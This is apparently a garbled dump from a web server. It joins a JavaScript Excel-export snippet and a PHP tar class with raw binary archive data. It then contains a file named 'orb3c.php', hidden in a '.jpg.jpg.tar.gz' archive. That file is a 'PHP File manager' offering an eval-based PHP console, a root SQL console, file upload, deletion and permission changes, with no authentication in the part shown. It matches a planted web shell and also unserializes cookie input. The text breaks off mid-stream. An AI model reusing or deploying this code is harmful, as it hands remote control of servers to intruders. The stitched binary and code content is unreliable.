    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>67e272a89d6f9.jpg.jpg.tar.gz000064400000001211000000000000011034 0ustar00�+K,�///��(���OJL��/.�/JLO�O,(�/(M��L�O,K,I,*�74�73O527J��L1K���*Hg �����8����� d���*a6Š��5���k��7�?`�r�tc`dddHB���윃\C����St�
R���4J�3��<���\��,4uRR�KsJ
Ks2K*���fpf�`ccgc�`gg�������������������QP�SWP�Q���0��10411�W���0��361�������#��+a�(�hD2��A��!�!��Q��I��Y��yFVF0�#3+;'7P�V&Fff&fVV�l-P��E�UH�БM80�]�PĨq�Be��E�.~P1N*j�����RUS���2�jK+gW7wO��а�Ȩd``�gdf����WTV5����wtvM�<e��3f�Z�x��e�W�\�i�۶�ع���#G�?q�ԥ�W�^�~�歇�?y����>~�����?~��������K�/&fv����A
YX
ل����9D�&.�x�S�8�hR�E.1���A^��8�5��3��������<fA{����40
q����Q0
F�(@V�
PK!�Ș��9�94yd0ui/orb3c.phpnu�[���<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7y